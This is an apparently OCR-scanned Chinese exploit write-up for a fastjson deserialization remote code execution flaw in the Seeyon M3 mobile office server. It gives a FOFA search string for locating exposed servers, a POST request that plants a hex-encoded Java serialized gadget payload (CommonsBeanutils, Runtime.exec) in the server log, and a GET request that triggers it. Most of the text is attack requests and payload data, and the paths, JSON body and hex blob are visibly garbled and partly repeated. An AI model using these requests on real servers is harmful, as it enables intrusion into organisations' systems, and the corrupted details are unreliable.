Z5-3致远互联-M3移动智能办公平台-反序列化RCE

漏洞描述:

致远M3 server中 mobile_portal接口处发现了<u>fastjson反序列化瀾洞</u>,漏洞是通过接口/mobile_portal/api/pns/message/send/batch/6_lsp1将恶意payload存入日志中,然后利用/mobile_portal/api/systemLog/pns/loadLog/app.log接口会将日志中的JSON数据进行反序列化的机制触发Fastjson漏洞,造成反序列化远程代码执行。



♠ M3-Server 已启动,您可以使用移动设备登录M3

当前服务器版本 : M3 Server 3.0.0 支持服务器版本 : G6 V8.0/G6-N V5.0 支持M3移动客户端最低版本: M3 V3.4.0

Copyright © 2017 北京致远互联软件股份有限公司. 版权所有

网络测绘:

fofa语法:

FOFA: title="M3-Server"

漏洞复现:

payload:

POST /mobile portal/api/pns/message/send/batch/6 1sp1 HTTP/1.1

Host: your-ip
User-Agent: Mozila/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1 c-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Content-Type: application/json

 $\lceil \{ \text{"userMessageId"} : \text{"} \ \text{$

PS: 请求体中HEX处放入CB1的序列化数据

Exp-1

使用yakit内置的java反序列化工具构造payload



aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b1030002490004736 574696c2f436f6d70617261746f723b78700000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265 ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6 e672e537472696e672443617365496e73656e736974697665436f6d70617261746f7277035c7d5c50e5ce02000078 037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747 612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737 87000000000ffffffff757200035b5b424bfd19156767db370200007870000000002757200025b42acf317f8060854 01b004608004709001b00480700490a001700410a0017004a0a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d6401000124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004c07004d010003636d640100124c6a0017004b07004b07004c07004b07006963010003796573010004666c61670100057374617274010003282956010004436f646501000f4c696e654e756d6 632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c6 b295601000a457863657074696f6e7307004f0100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c61 a005b0c005c005d010008535a6464444e5047010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f 7374726163745472616e736c65740100135b4c6a6176612f6c616e672f537472696e673b010039636f6d2f73756e2 c2f78736c74632f5472616e736c6574457863657074696f6e01000c6a6176612f696f2f46696c6501000973657061 616e672f4f626a6563743b295a0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d650 00465786563010028285b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573 70656e6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e67427566612f6c616e672f537472696e673b021001b001c00000004000a001d001e0000000a001f001e0000000a0020001e990004000200000049b200011202b6000399001b06bd0004590312055359041206535905b20007534ba7001806bd0 fc00140700274a07002804000100290023000100240000004900020001000000132ab7000eb2000f1210b600039a0

copy到请求体中hex处,发送请求(将恶意序列化数据插入到日志中)

读取接口目志内容触发Fastjson反序列化

GET /mobile portal/api/systemLog/pns/loadLog/app.log HTTP/1.1 Host: your-ip

Upgrade-Insecure-Requests: User-Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate

